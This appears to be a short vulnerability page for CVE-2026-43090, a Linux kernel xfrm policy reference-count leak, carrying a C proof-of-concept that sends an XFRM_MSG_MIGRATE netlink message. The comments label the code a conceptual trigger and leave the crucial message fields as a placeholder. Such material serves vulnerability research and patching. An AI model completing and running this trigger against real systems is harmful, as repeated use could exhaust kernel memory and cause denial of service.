CVE-2026-43090: Linux内核xfrm策略引用计数泄漏

/* * PoC for CVE-2026-43090: Memory leak in xfrm_migrate_policy_find * This is a conceptual trigger for the vulnerability. * Compile: gcc -o poc poc.c */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/xfrm.h> // Simplified trigger logic demonstrating the system call context // Exploitation requires specific netlink message crafting to hit xfrm_migrate void trigger_leak() { int sock_fd; struct sockaddr_nl sa; char buf[4096]; struct nlmsghdr *nlh; sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sock_fd < 0) { perror("socket"); return; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(sock_fd, (struct sockaddr *)&sa, sizeof(sa)); memset(buf, 0, sizeof(buf)); nlh = (struct nlmsghdr *)buf; // Construct a migration request to trigger the vulnerable path nlh->nlmsg_type = XFRM_MSG_MIGRATE; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct xfrm_userpolicy_info)); // ... (Fill in policy details to ensure migration path is taken) // Repeated calls here would cause kernel memory leak send(sock_fd, buf, nlh->nlmsg_len, 0); close(sock_fd); } int main() { printf("Triggering CVE-2026-43090 memory leak...\n"); trigger_leak(); return 0; }